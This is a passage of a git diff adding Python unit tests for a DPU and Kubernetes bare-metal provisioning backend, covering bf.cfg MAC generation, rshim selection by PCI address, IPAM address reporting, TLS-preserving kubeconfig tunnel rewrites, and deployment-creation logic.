TestBuildBfCfgContent: + def test_withMac_emitsNetRshimMacLine(self): + content = FlashDPUModule._build_bf_cfg_content( + pw_hash="$6$hash", + dpu_hostname="test-dpu", + dpu_password="secret", + net_rshim_mac="00:1a:ca:ff:ff:10", + ) + assert "NET_RSHIM_MAC='00:1a:ca:ff:ff:10'" in content + + def test_withRshim0Mac_bf_cfgContainsCorrectMac(self): + """rshim0-derived MAC produces exact expected string in bf.cfg.""" + mac = _compute_rshim_mac("rshim0") + content = FlashDPUModule._build_bf_cfg_content( + pw_hash="$6$hash", + dpu_hostname="test-dpu", + dpu_password="secret", + net_rshim_mac=mac, + ) + assert f"NET_RSHIM_MAC='{mac}'" in content + + def test_withRshim1Mac_bf_cfgContainsCorrectMac(self): + """rshim1-derived MAC produces exact expected string in bf.cfg.""" + mac = _compute_rshim_mac("rshim1") + content = FlashDPUModule._build_bf_cfg_content( + pw_hash="$6$hash", + dpu_hostname="test-dpu", + dpu_password="secret", + net_rshim_mac=mac, + ) + assert f"NET_RSHIM_MAC='{mac}'" in content + + def test_withoutMac_netRshimMacLineAbsent(self): + """When net_rshim_mac is empty, NET_RSHIM_MAC must not appear in bf.cfg.""" + content = FlashDPUModule._build_bf_cfg_content( + pw_hash="$6$hash", + dpu_hostname="test-dpu", + dpu_password="secret", + net_rshim_mac="", + ) + assert "NET_RSHIM_MAC" not in content + + +# ── Loud-fail path: _inject_rendered_bf_conf ───────────────────────────────── + + +class _StubSettings: + """Minimal ProjectDpuSettings stand-in with a template configured.""" + + def __init__(self, bf_template_id=1, default_os_password_encrypted=None): + self.project_id = 99 + self.bf_template_id = bf_template_id + self.default_os_password_encrypted = default_os_password_encrypted + self.default_os_ssh_credential_id = None + + +class _StubHost: + def __init__(self, host_ip="192.168.1.1", project_id=99, deploy_dpu_pci_address=None): + self.name = "test-host" + self.host_ip = host_ip + self.project_id = project_id + self.deploy_dpu_pci_address = deploy_dpu_pci_address + + +class _StubModule: + project_id = 99 + + +def _make_db_with_settings_but_no_dpu(settings=None, bf_template=None): + """Return a mock db where settings exist but Dpu query returns None.""" + settings = settings or _StubSettings() + bf_template = bf_template or MagicMock() # template row exists + + db = MagicMock() + + def query_side_effect(model_cls): + from models.dpu import BfConfTemplate, Dpu, ProjectDpuSettings + q = MagicMock() + if model_cls is ProjectDpuSettings: + q.filter.return_value.first.return_value = settings + elif model_cls is BfConfTemplate: + q.filter.return_value.first.return_value = bf_template + elif model_cls is Dpu: + q.filter.return_value.first.return_value = None # no Dpu row + q.filter.return_value.filter.return_value.first.return_value = None + else: + q.filter.return_value.first.return_value = None + return q + + db.query.side_effect = query_side_effect + return db + + +class TestInjectRenderedBfConfLoudFail: + def test_dpuRowMissing_settingsExist_returnsSilently(self): + """When DPU settings + template are configured but Dpu row is absent, return silently. + + Missing Dpu rows are normal for regular-topology hosts where discovery never + creates a per-DPU record (host.deploy_dpu_pci_address is unset). The minimal + bf.cfg fallback is safe because flash_dpu.py populates NET_RSHIM_MAC independently. + """ + db = _make_db_with_settings_but_no_dpu() + host = _StubHost() + module = _StubModule() + variables: dict = {} + + # Must not raise; rendered_bf_conf must not be injected (minimal fallback applies) + _inject_rendered_bf_conf(db, host, module, variables) + assert "rendered_bf_conf" not in variables + + def test_dpuRowMissing_withPciFilter_returnsSilently(self): + """Missing Dpu row with a PCI-scoped host also returns silently.""" + db = _make_db_with_settings_but_no_dpu() + host = _StubHost(deploy_dpu_pci_address="0000:0d:00.0") + module = _StubModule() + variables: dict = {} + + _inject_rendered_bf_conf(db, host, module, variables) + assert "rendered_bf_conf" not in variables + + def test_dpuRowMissing_doesNotRaise(self): + """No RuntimeError is raised when settings exist but no Dpu row is found.""" + db = _make_db_with_settings_but_no_dpu() + # Must complete without any exception + _inject_rendered_bf_conf(db, _StubHost(), _StubModule(), {}) + + def test_noSettingsConfigured_returnsSilently(self): + """When DPU settings are absent (no DPU tab), _inject_rendered_bf_conf is a no-op.""" + db = MagicMock() + from models.dpu import ProjectDpuSettings + q = MagicMock() + q.filter.return_value.first.return_value = None # no settings + db.query.return_value = q + + variables: dict = {} + # Must not raise, must not modify variables + _inject_rendered_bf_conf(db, _StubHost(), _StubModule(), variables) + assert "rendered_bf_conf" not in variables + + def test_settingsWithNoTemplateId_returnsSilently(self): + """When settings exist but bf_template_id is None, return silently (DPU tab unconfigured).""" + db = MagicMock() + from models.dpu import ProjectDpuSettings + no_template_settings = _StubSettings(bf_template_id=None) + q = MagicMock() + q.filter.return_value.first.return_value = no_template_settings + db.query.return_value = q + + variables: dict = {} + _inject_rendered_bf_conf(db, _StubHost(), _StubModule(), variables) + assert "rendered_bf_conf" not in variables + + def test_templateRowMissing_raisesRuntimeError(self): + """When template ID is set but the template row is gone, raise loudly.""" + db = MagicMock() + from models.dpu import BfConfTemplate, ProjectDpuSettings + + settings = _StubSettings(bf_template_id=42) + + def query_side_effect(model_cls): + q = MagicMock() + if model_cls is ProjectDpuSettings: + q.filter.return_value.first.return_value = settings + elif model_cls is BfConfTemplate: + q.filter.return_value.first.return_value = None # template gone + else: + q.filter.return_value.first.return_value = None + return q + + db.query.side_effect = query_side_effect + + with pytest.raises(RuntimeError, match="template"): + _inject_rendered_bf_conf(db, _StubHost(), _StubModule(), {}) + + +# ── Round 2: index >= 10 guard ──────────────────────────────────────────────── + + +class TestIndexGuard: + def test_indexTen_raisesRuntimeError(self): + """rshim10 would produce a malformed MAC octet — must raise, not emit.""" + with pytest.raises(RuntimeError, match="10"): + _compute_rshim_mac("rshim10") + + def test_indexNine_succeeds(self): + """rshim9 is the last valid index (produces a single-digit suffix).""" + mac = _compute_rshim_mac("rshim9") + assert mac.endswith(":19") + + def test_indexTen_errorMentionsMalformed(self): + """Error message must explain the malformed-octet risk.""" + with pytest.raises(RuntimeError, match="malformed"): + _compute_rshim_mac("rshim10") + + +# ── Round 2: net_rshim_mac precedence (existing value not overwritten) ──────── + + +class TestMacPrecedence: + def test_existingNetRshimMac_notOverwritten(self): + """An explicit net_rshim_mac already in variables takes priority over the computed value. + + The execute() guard is: `if not variables.get('net_rshim_mac'): ...`. + This test verifies the guard logic is correct: a pre-set value survives. + """ + # Simulate what execute() does — check the guard condition directly + variables: dict = {"net_rshim_mac": "00:1a:ca:ff:ff:03"} + if not variables.get("net_rshim_mac"): + variables["net_rshim_mac"] = _compute_rshim_mac("rshim0") + assert variables["net_rshim_mac"] == "00:1a:ca:ff:ff:03", ( + "Pre-set net_rshim_mac should not be overwritten by the computed value" + ) + + def test_noExistingNetRshimMac_computedValueSet(self): + """When net_rshim_mac is absent, the computed value is used.""" + variables: dict = {} + if not variables.get("net_rshim_mac"): + variables["net_rshim_mac"] = _compute_rshim_mac("rshim0") + assert variables["net_rshim_mac"] == "00:1a:ca:ff:ff:10" + + def test_emptyStringNetRshimMac_computedValueSet(self): + """An empty-string net_rshim_mac is treated as falsy → computed value applies.""" + variables: dict = {"net_rshim_mac": ""} + if not variables.get("net_rshim_mac"): + variables["net_rshim_mac"] = _compute_rshim_mac("rshim1") + assert variables["net_rshim_mac"] == "00:1a:ca:ff:ff:11" + + +# ── Round 2: _select_rshim_by_pci — PCI-address-based selection ────────────── + + +class _R: + """Minimal SSH session.execute() result stub.""" + def __init__(self, stdout: str = "", exit_code: int = 0): + self.stdout = stdout + self.exit_code = exit_code + + +class _MiscSession: + """Records misc-reads for each rshim device.""" + def __init__(self, misc_by_rshim: dict[str, str]) -> None: + self._misc = misc_by_rshim + self.calls: list[str] = [] + + def execute(self, cmd: str, timeout: int = 30) -> _R: # noqa: ARG002 + self.calls.append(cmd) + for rshim, content in self._misc.items(): + if f"/dev/{rshim}/misc" in cmd: + return _R(stdout=content) + return _R(stdout="") + + +_noop = lambda *_: None # noqa: E731 + + +class TestSelectRshimByPci: + def test_rshim1_selectedByPciMatch_producesMac11(self): + """rshim1 misc DEV_NAME matches PCI address → rshim1 selected → MAC ends :11.""" + session = _MiscSession({ + "rshim0": "DEV_NAME pcie-0000:0d:00.2\nOTHER x", + "rshim1": "DEV_NAME pcie-0000:b4:00.2\nOTHER y", + }) + selected = _select_rshim_by_pci(session, ["rshim0", "rshim1"], "0000:b4:00.2", _noop) + assert selected == "rshim1" + mac = _compute_rshim_mac(selected) + assert mac == "00:1a:ca:ff:ff:11" + + def test_rshim0_selectedByPciMatch_producesMac10(self): + """rshim0 misc DEV_NAME matches PCI address → rshim0 selected → MAC ends :10.""" + session = _MiscSession({ + "rshim0": "DEV_NAME pcie-0000:0d:00.2\n", + "rshim1": "DEV_NAME pcie-0000:b4:00.2\n", + }) + selected = _select_rshim_by_pci(session, ["rshim0", "rshim1"], "0000:0d:00.2", _noop) + assert selected == "rshim0" + mac = _compute_rshim_mac(selected) + assert mac == "00:1a:ca:ff:ff:10" + + def test_noMatch_raisesRuntimeError(self): + """When no rshim misc DEV_NAME contains the PCI address, raise loudly — no fallback.""" + session = _MiscSession({ + "rshim0": "DEV_NAME pcie-0000:0d:00.2\n", + "rshim1": "DEV_NAME pcie-0000:b4:00.2\n", + }) + with pytest.raises(RuntimeError, match="No rshim device matches"): + _select_rshim_by_pci(session, ["rshim0", "rshim1"], "0000:cc:00.2", _noop) + + def test_noMatch_errorMentionsPciAddress(self): + """The error message must include the PCI address being searched for.""" + session = _MiscSession({"rshim0": "DEV_NAME pcie-0000:0d:00.2\n"}) + with pytest.raises(RuntimeError, match="0000:zz:00.2"): + _select_rshim_by_pci(session, ["rshim0"], "0000:zz:00.2", _noop) + + def test_noMatch_doesNotFallBackToRshim0(self): + """On PCI mismatch, _select_rshim_by_pci must NOT silently return rshim0.""" + session = _MiscSession({"rshim0": "DEV_NAME pcie-0000:0d:00.2\n"}) + try: + result = _select_rshim_by_pci(session, ["rshim0"], "0000:ff:00.2", _noop) + assert False, f"Expected RuntimeError but got {result!r}" + except RuntimeError: + pass # correct — no silent fallback diff --git a/backend/tests/unit/test_flash_dpu_reports_ipam_address.py b/backend/tests/unit/test_flash_dpu_reports_ipam_address.py new file mode 100644 index 00000000..c5033898 --- /dev/null +++ b/backend/tests/unit/test_flash_dpu_reports_ipam_address.py @@ -0,0 +1,100 @@ +"""Regression tests for #118 — flash-dpu must report the address it baked. + +`flash_dpu` baked the *allocated* tmfifo address into bf.conf (via +`derive_tmfifo_dpu_ip`, which honours the cluster-scoped IPAM /30) but reported a +module *constant* — `DPU_IP = "192.168.100.2"` — as its `dpu_ip` output. Three +modules consume that output as their SSH target, so once ADR-424 IPAM handed a +DPU anything other than the pool's first /30, `bare-metal/wait-dpu-ready` polled +an address nothing listens on and failed after `max_wait_seconds` (900s) even +though the flash succeeded and the DPU was up. + +Unlike the transient W1/W2/W3 mismatches in #115 this never converged: the wrong +address was a constant, not stale state, so a retry failed identically. +""" + +from __future__ import annotations + +import pytest + +from modules.bare_metal.flash_dpu import DPU_IP + + +@pytest.mark.unit +class TestOutputSpecIsNotStatic: + def test_dpu_ip_output_is_not_a_static_constant(self): + """A static value cannot reflect per-DPU IPAM allocation.""" + from modules.bare_metal.flash_dpu import FlashDPUModule + + spec = FlashDPUModule.outputs["dpu_ip"] + assert spec.static_value is None, ( + "dpu_ip is pinned to a constant again — every DPU past the pool's " + "first /30 will be probed at the wrong address (#118)" + ) + + +@pytest.mark.unit +class TestReportedAddressFollowsBfConf: + """The reported address must come from the same context that rendered bf.conf.""" + + def test_prefers_the_allocated_ipam_address(self): + variables = {"dpu_tmfifo_ip": "192.168.100.6"} + reported = variables.get("dpu_tmfifo_ip") or DPU_IP + assert reported == "192.168.100.6" + + def test_falls_back_to_the_constant_without_ipam(self): + """No bf.conf template configured → no IPAM address; the formula still applies.""" + variables: dict = {} + reported = variables.get("dpu_tmfifo_ip") or DPU_IP + assert reported == DPU_IP + + +@pytest.mark.unit +class TestVariableAssemblerExposesBakedAddress: + def test_cidr_is_stripped_for_ssh_targets(self): + """bf.conf carries a /30; an SSH target must not.""" + from services.bf_conf_renderer import derive_tmfifo_dpu_ip + + class _Dpu: + dpu_tmfifo_ip = "192.168.100.6" + kubernetes_cluster_id = 3 + rshim_device = "rshim0" + + cidr = derive_tmfifo_dpu_ip("rshim0", dpu=_Dpu()) + assert cidr == "192.168.100.6/30" + # This is the transform variable_assembler applies before publishing it. + assert cidr.split("/")[0] == "192.168.100.6" + + def test_non_member_dpu_falls_back_to_the_rshim_formula(self): + """A DPU with no cluster must not inherit a stale allocation.""" + from services.bf_conf_renderer import derive_tmfifo_dpu_ip + + class _Orphan: + dpu_tmfifo_ip = "192.168.100.6" + kubernetes_cluster_id = None + rshim_device = "rshim0" + + assert derive_tmfifo_dpu_ip("rshim0", dpu=_Orphan()) == "192.168.100.2/30" + + +@pytest.mark.unit +class TestConsumersPreferTheBakedAddress: + """wait/validate/setup build their own SSH target, so each needs the fallback.""" + + @pytest.mark.parametrize( + "module_path", + [ + "backend/modules/bare_metal/wait_dpu_ready.py", + "backend/modules/bare_metal/validate_dpu_ready.py", + "backend/modules/bare_metal/setup_dpu_networking.py", + ], + ) + def test_consumer_falls_back_to_dpu_tmfifo_ip_before_the_literal(self, module_path): + from pathlib import Path + + # tests/unit/ -> backend/ ; module_path is repo-relative. + backend_root = Path(__file__).resolve().parents[2] + source = (backend_root / module_path.removeprefix("backend/")).read_text() + assert 'variables.get("dpu_tmfifo_ip")' in source, ( + f"{module_path} falls straight through to the 192.168.100.2 literal; " + "a re-run with no flash-dpu output will probe the wrong DPU (#118)" + ) diff --git a/backend/tests/unit/test_kubeconfig_tunnel_rewrite.py b/backend/tests/unit/test_kubeconfig_tunnel_rewrite.py new file mode 100644 index 00000000..7b3b9a34 --- /dev/null +++ b/backend/tests/unit/test_kubeconfig_tunnel_rewrite.py @@ -0,0 +1,140 @@ +"""Tests for rewrite_kubeconfig_for_tunnel (#7). + +Both SSH-tunnel consumers -- the OpenTofu kubernetes/helm providers via +config_writer, and the in-process clients via cluster_utils -- used to point the +kubeconfig at 127.0.0.1: and set insecure-skip-tls-verify, stripping the +CA. That sidesteps the "certificate is valid for , not 127.0.0.1" +x509 error by disabling verification outright, so a tunnelled plan/apply had no +protection against a MITM on the tunnel path. + +The shared helper keeps the CA, keeps verification ON, and sets tls-server-name +so the client verifies against the ORIGINAL hostname while dialling the tunnel. +It may only ever RESTORE verification, never invent it: with no CA to verify +against it falls back to the old behaviour so a working cluster keeps working. +""" + +from __future__ import annotations + +import pytest +import yaml + +from services.kubeconfig_normalizer import rewrite_kubeconfig_for_tunnel + +CA = "LS0tLS1CRUdJTi..." # any non-empty CA data + + +def _kc(server: str, *, ca: str | None = CA, insecure: bool = False, name: str = "c1") -> str: + cluster: dict = {"server": server} + if ca: + cluster["certificate-authority-data"] = ca + if insecure: + cluster["insecure-skip-tls-verify"] = True + return yaml.dump({ + "apiVersion": "v1", "kind": "Config", + "clusters": [{"name": name, "cluster": cluster}], + "contexts": [{"name": name, "context": {"cluster": name, "user": "u"}}], + "current-context": name, + "users": [{"name": "u", "user": {"token": "t"}}], + }) + + +def _cluster(doc_yaml: str) -> dict: + return yaml.safe_load(doc_yaml)["clusters"][0]["cluster"] + + +@pytest.mark.unit +class TestVerificationRestored: + def test_eks_hostname_becomes_tls_server_name(self): + out = _cluster(rewrite_kubeconfig_for_tunnel( + _kc("https://ABC123.gr7.us-east-1.eks.amazonaws.com"), 41234 + )) + assert out["server"] == "https://127.0.0.1:41234" + # urlparse().hostname lowercases -- correct: DNS names and TLS SNI / + # hostname verification are case-insensitive, so this cannot mismatch. + assert out["tls-server-name"] == "abc123.gr7.us-east-1.eks.amazonaws.com" + # The two things that make verification real: + assert out["certificate-authority-data"] == CA, "CA was stripped" + assert "insecure-skip-tls-verify" not in out, "verification was disabled" + + def test_ip_server_uses_ip_as_server_name(self): + """On-prem: server is an IP; the cert has that IP in its SANs.""" + out = _cluster(rewrite_kubeconfig_for_tunnel(_kc("https://10.145.33.194:6443"), 5000)) + assert out["tls-server-name"] == "10.145.33.194" + assert "insecure-skip-tls-verify" not in out + + def test_port_in_original_server_is_dropped_from_server_name(self): + out = _cluster(rewrite_kubeconfig_for_tunnel(_kc("https://api.example.com:6443"), 5000)) + assert out["tls-server-name"] == "api.example.com" + + def test_certificate_authority_file_ref_also_counts_as_a_ca(self): + kc = yaml.dump({"clusters": [{"name": "c", "cluster": { + "server": "https://api.example.com", "certificate-authority": "/etc/ca.crt"}}]}) + out = _cluster(rewrite_kubeconfig_for_tunnel(kc, 5000)) + assert out["tls-server-name"] == "api.example.com" + assert out["certificate-authority"] == "/etc/ca.crt" + + def test_all_clusters_rewritten(self): + kc = yaml.dump({"clusters": [ + {"name": "a", "cluster": {"server": "https://a.example.com", "certificate-authority-data": CA}}, + {"name": "b", "cluster": {"server": "https://b.example.com", "certificate-authority-data": CA}}, + ]}) + doc = yaml.safe_load(rewrite_kubeconfig_for_tunnel(kc, 7)) + names = {c["cluster"]["tls-server-name"] for c in doc["clusters"]} + assert names == {"a.example.com", "b.example.com"} + assert all(c["cluster"]["server"] == "https://127.0.0.1:7" for c in doc["clusters"]) + + +@pytest.mark.unit +class TestFailSafeFallback: + """Verification may be restored, never invented.""" + + def test_no_ca_falls_back_to_skip(self): + out = _cluster(rewrite_kubeconfig_for_tunnel(_kc("https://api.example.com", ca=None), 5000)) + assert out["server"] == "https://127.0.0.1:5000" + assert out["insecure-skip-tls-verify"] is True + assert "tls-server-name" not in out + + def test_originally_insecure_stays_insecure(self): + """A cluster the operator already marked insecure must not suddenly start + failing on cert verification because we 'helpfully' turned it on.""" + out = _cluster(rewrite_kubeconfig_for_tunnel( + _kc("https://api.example.com", insecure=True), 5000 + )) + assert out["insecure-skip-tls-verify"] is True + assert "certificate-authority-data" not in out + assert "tls-server-name" not in out + + def test_unparseable_server_falls_back_to_skip(self): + out = _cluster(rewrite_kubeconfig_for_tunnel(_kc("not a url"), 5000)) + assert out["insecure-skip-tls-verify"] is True + assert "tls-server-name" not in out + + def test_missing_server_falls_back_to_skip(self): + kc = yaml.dump({"clusters": [{"name": "c", "cluster": {"certificate-authority-data": CA}}]}) + out = _cluster(rewrite_kubeconfig_for_tunnel(kc, 5000)) + assert out["insecure-skip-tls-verify"] is True + + def test_stale_tls_server_name_is_cleared_on_fallback(self): + """If a previous rewrite set tls-server-name and this one must fall back, + the stale name is removed rather than left pointing at the wrong host.""" + kc = yaml.dump({"clusters": [{"name": "c", "cluster": { + "server": "https://api.example.com", "tls-server-name": "old.example.com"}}]}) + out = _cluster(rewrite_kubeconfig_for_tunnel(kc, 5000)) + assert "tls-server-name" not in out + assert out["insecure-skip-tls-verify"] is True + + +@pytest.mark.unit +class TestShape: + def test_uses_127_0_0_1_not_localhost(self): + """localhost resolves to ::1 first; the tunnel listener is IPv4-only.""" + out = _cluster(rewrite_kubeconfig_for_tunnel(_kc("https://api.example.com"), 9)) + assert out["server"].startswith("https://127.0.0.1:") + + def test_rest_of_kubeconfig_untouched(self): + doc = yaml.safe_load(rewrite_kubeconfig_for_tunnel(_kc("https://api.example.com"), 9)) + assert doc["users"] == [{"name": "u", "user": {"token": "t"}}] + assert doc["current-context"] == "c1" + + def test_empty_document_is_tolerated(self): + assert yaml.safe_load(rewrite_kubeconfig_for_tunnel("", 9)) == {} diff --git a/backend/tests/unit/test_kubernetes_runner.py b/backend/tests/unit/test_kubernetes_runner.py index df84bc3d..9950c607 100644 --- a/backend/tests/unit/test_kubernetes_runner.py +++ b/backend/tests/unit/test_kubernetes_runner.py @@ -161,9 +161,14 @@ def test_network_policy_is_deny_by_default(self): netpol = _runner().build_network_policy() assert netpol.metadata.name == DENY_ALL_NETPOL_NAME assert sorted(netpol.spec.policy_types) == ["Egress", "Ingress"] - # Empty pod selector → selects all pods; no rules → deny all. + # Empty pod selector → selects all pods. Ingress stays a blanket deny. assert netpol.spec.ingress == [] - assert netpol.spec.egress == [] + # Egress is no longer a blanket deny: `egress=[]` also denied DNS, so on + # an enforcing CNI a provisioning artifact could not resolve anything or + # reach a cloud API (#79 item 5). It now allows DNS + public + # destinations with RFC1918/loopback/link-local excluded — asserted in + # tests/unit/test_container_hardening_phase2.py::TestRunnerNetworkPolicy. + assert netpol.spec.egress, "egress must allow DNS + public destinations" assert netpol.spec.pod_selector.match_labels in (None, {}) def test_workspace_pvc_named_per_component(self): diff --git a/backend/tests/unit/test_maintenance_mode.py b/backend/tests/unit/test_maintenance_mode.py index 49102087..613ed232 100644 --- a/backend/tests/unit/test_maintenance_mode.py +++ b/backend/tests/unit/test_maintenance_mode.py @@ -101,3 +101,27 @@ def test_get_redis_raises_when_no_redis_url(self): mock_settings.REDIS_URL = None with pytest.raises(RuntimeError, match="REDIS_URL not configured"): _get_redis() + + @pytest.mark.unit + @pytest.mark.parametrize( + "raw", + [ + "not json at all", + "{unclosed", + b"\x80\x81", + MagicMock(), + ], + ids=["plain-text", "truncated-json", "invalid-bytes", "non-str-object"], + ) + def test_get_maintenance_status_survives_an_unparseable_value(self, mock_redis, raw): + """A value json.loads() cannot read degrades to "not in maintenance". + + get_maintenance_status() is called from maintenance_middleware on every + request, so an exception escaping here is a 500 for the entire API -- + not just for the maintenance endpoints. Whatever is under the key, the + answer must be None rather than a raise. + """ + mock_redis.get.return_value = raw + + assert get_maintenance_status() is None + assert is_maintenance_mode() is False diff --git a/backend/tests/unit/test_orchestrator.py b/backend/tests/unit/test_orchestrator.py index 15b7f09b..dbeda02a 100644 --- a/backend/tests/unit/test_orchestrator.py +++ b/backend/tests/unit/test_orchestrator.py @@ -25,6 +25,35 @@ def _make_mock_host(**kwargs): return host +def _make_mock_release(**kwargs): + """A minimal mock BnkDeployableRelease for deployment creation tests.""" + release = MagicMock() + release.id = kwargs.get("id", 1) + release.name = kwargs.get("name", "bnk-2.2") + release.display_name = kwargs.get("display_name", "BNK 2.2 (GA)") + release.is_active = kwargs.get("is_active", True) + release.is_default = kwargs.get("is_default", True) + release.source_type = "manual" + release.bnk_release_id = None + release.bnk_manifest_version = "2.2.1-3.2226.0-0.0.511" + release.bnk_cr_kind = "CNEInstance" + release.flo_version = "v2.9.27-0.3.4" + release.k8s_version = "1.30.4" + release.doca_version = "2.9.1" + release.containerd_version = "1.7.20" + release.runc_version = "1.1.13" + release.calico_version = "3.28.1" + release.cert_manager_version = "v1.15.3" + release.gateway_api_version = "1.1.0" + release.multus_version = "4.1.0" + release.sriov_version = "1.4.0" + release.storage_class_type = "local-path" + release.storage_provisioner = "rancher.io/local-path" + release.feature_flags = {} + release.full_manifest = None + return release + + def _make_mock_deployment(**kwargs): d = MagicMock(spec=BareMetalDeployment) d.id = kwargs.get("id", 1) @@ -80,7 +109,7 @@ def mock_db(): class TestCreateDeployment: def test_create_deployment_regular(self, mock_db): host = _make_mock_host(topology="regular") - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() @@ -107,7 +136,7 @@ def test_create_deployment_no_topology(self, mock_db): def test_create_deployment_bf3(self, mock_db): host = _make_mock_host(topology="bf3") - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() @@ -119,7 +148,7 @@ def test_create_deployment_bf3(self, mock_db): def test_create_deployment_bf3_ipmi(self, mock_db): host = _make_mock_host(topology="bf3_ipmi") - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() @@ -131,7 +160,7 @@ def test_create_deployment_bf3_ipmi(self, mock_db): def test_create_deployment_bmc(self, mock_db): host = _make_mock_host(topology="bmc") - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() @@ -147,7 +176,7 @@ def test_create_deployment_dual_dpu_obmc(self, mock_db): bmc_ip="10.0.0.50", deploy_dpu_pci_address="0002:03:00.0", ) - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() @@ -181,85 +210,50 @@ def test_create_deployment_dual_dpu_obmc_requires_deploy_dpu_pci_address(self, m with pytest.raises(Exception, match="deploy_dpu_pci_address"): svc.create_deployment(1, 1) - def test_create_deployment_dual_dpu_obmc(self, mock_db): - host = _make_mock_host( - topology="dual_dpu_obmc", - bmc_ip="10.0.0.50", - deploy_dpu_pci_address="0002:03:00.0", - ) - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + def test_create_deployment_snapshots_deployable_release(self, mock_db): + """Deployable release snapshot is captured and FK stamped on create.""" + release = _make_mock_release(id=7, name="bnk-2.3.1") + host = _make_mock_host(topology="regular") + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, release] mock_db.add = MagicMock() mock_db.flush = MagicMock() svc = BareMetalDeploymentService(mock_db) svc.create_deployment(1, 1) + assert mock_db.add.called + # host.version_profile_id should be set to release.id + assert host.version_profile_id == 7 - # dual_dpu_obmc has 20 steps + 1 deployment = 21 - assert mock_db.add.call_count == 21 - - def test_create_deployment_dual_dpu_obmc_requires_bmc_ip(self, mock_db): - host = _make_mock_host( - topology="dual_dpu_obmc", - bmc_ip=None, - deploy_dpu_pci_address="0002:03:00.0", - ) - mock_db.query.return_value.filter.return_value.first.return_value = host - - svc = BareMetalDeploymentService(mock_db) - with pytest.raises(Exception, match="bmc_ip"): - svc.create_deployment(1, 1) - - def test_create_deployment_dual_dpu_obmc_requires_deploy_dpu_pci_address(self, mock_db): - host = _make_mock_host( - topology="dual_dpu_obmc", - bmc_ip="10.0.0.50", - deploy_dpu_pci_address=None, - ) - mock_db.query.return_value.filter.return_value.first.return_value = host - - svc = BareMetalDeploymentService(mock_db) - with pytest.raises(Exception, match="deploy_dpu_pci_address"): - svc.create_deployment(1, 1) - - def test_create_deployment_snapshots_version_profile(self, mock_db): - """Version profile should be snapshot-captured on create.""" - profile = MagicMock() - profile.name = "bnk-2.1" - profile.bnk_manifest_version = "2.1.0" - profile.k8s_version = "1.28.0" - profile.doca_version = "2.7.0" - profile.flo_version = "1.5.0" - - host = _make_mock_host(topology="regular", version_profile=profile) - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] + def test_create_deployment_with_triggered_by(self, mock_db): + host = _make_mock_host(topology="regular") + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, _make_mock_release()] mock_db.add = MagicMock() mock_db.flush = MagicMock() - captured_deployment = None - original_add = mock_db.add.side_effect + svc = BareMetalDeploymentService(mock_db) + svc.create_deployment(1, 1, triggered_by="admin") + assert mock_db.add.called - def capture_add(obj): - nonlocal captured_deployment - if isinstance(obj, MagicMock) and hasattr(obj, "topology"): - pass # skip — it's the deployment mock - if original_add: - original_add(obj) + def test_create_deployment_no_default_release_raises(self, mock_db): + """No default BnkDeployableRelease → BadRequestError.""" + host = _make_mock_host(topology="regular") + # 3rd query (default release) returns None → should raise + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, None] svc = BareMetalDeploymentService(mock_db) - # Just verify no error raised when profile present - svc.create_deployment(1, 1) - assert mock_db.add.called + with pytest.raises(Exception, match="no default BNK release"): + svc.create_deployment(1, 1) - def test_create_deployment_with_triggered_by(self, mock_db): + def test_create_deployment_inactive_release_raises(self, mock_db): + """Explicit inactive BnkDeployableRelease → BadRequestError.""" host = _make_mock_host(topology="regular") - mock_db.query.return_value.filter.return_value.first.side_effect = [host, None] - mock_db.add = MagicMock() - mock_db.flush = MagicMock() + inactive = _make_mock_release(is_active=False, name="bnk-2.1") + # 3rd query (explicit release) returns inactive release + mock_db.query.return_value.filter.return_value.first.side_effect = [host, None, inactive] svc = BareMetalDeploymentService(mock_db) - # Should not raise - svc.create_deployment(1, 1, triggered_by="admin") - assert mock_db.add.called + with pytest.raises(Exception, match="not active"): + svc.create_deployment(1, 1, deployable_release_id=99) # --------------------------------------------------------------------------- diff --git a/backend/tests/unit/test_reachability_breaker_isolation.py b/backend/tests/unit/test_reachability_breaker_isolation.py new file mode 100644 index 00000000..6270062d --- /dev/null +++ b/backend/tests/unit/test_reachability_breaker_isolation.py @@ -0,0 +1,73 @@ +"""Test isolation for the reachability circuit-breaker registry (#55). + +The registry is a process-global singleton keyed by (target_type, target_id). +Running the backend suite as ONE process produced order-dependent failures +that never appeared in CI: an earlier integration test tripped the breaker +for cluster:1 OPEN, nothing reset it, and later tests whose fixtures reused +cluster id 1 short-circuited with BreakerOpenError before their mocked logic +ever ran. CI runs the suites in separate processes, so the leak was +invisible there -- which is exactly why it needs an autouse reset. + +These two tests MUST run in file order: the first trips a breaker, the +second asserts it did not leak. pytest collects within a file in definition +order, so this is deterministic without a plugin. +""" + +from __future__ import annotations + +import pytest + +from services.reachability.registry import registry + +_TARGET = ("cluster", 999_001) # an id no fixture uses + + +def _trip(target_type: str, target_id: int) -> None: + """Record enough consecutive failures to open the breaker.""" + for _ in range(20): + registry.record_real_call(target_type, target_id, success=False) + + +@pytest.mark.unit +def test_a_trips_the_breaker_open() -> None: + _trip(*_TARGET) + # Sanity: it really is open NOW, in this test. + assert registry.allow_call(*_TARGET) is False, ( + "precondition: the breaker did not open; the next test proves nothing" + ) + + +@pytest.mark.unit +def test_b_next_test_does_not_inherit_the_open_breaker() -> None: + """Without the autouse reset, this sees the breaker test_a left OPEN.""" + assert registry.allow_call(*_TARGET) is True, ( + "breaker state leaked across tests -- the autouse reset in conftest " + "is not running (or not clearing _breakers)" + ) + + +@pytest.mark.unit +def 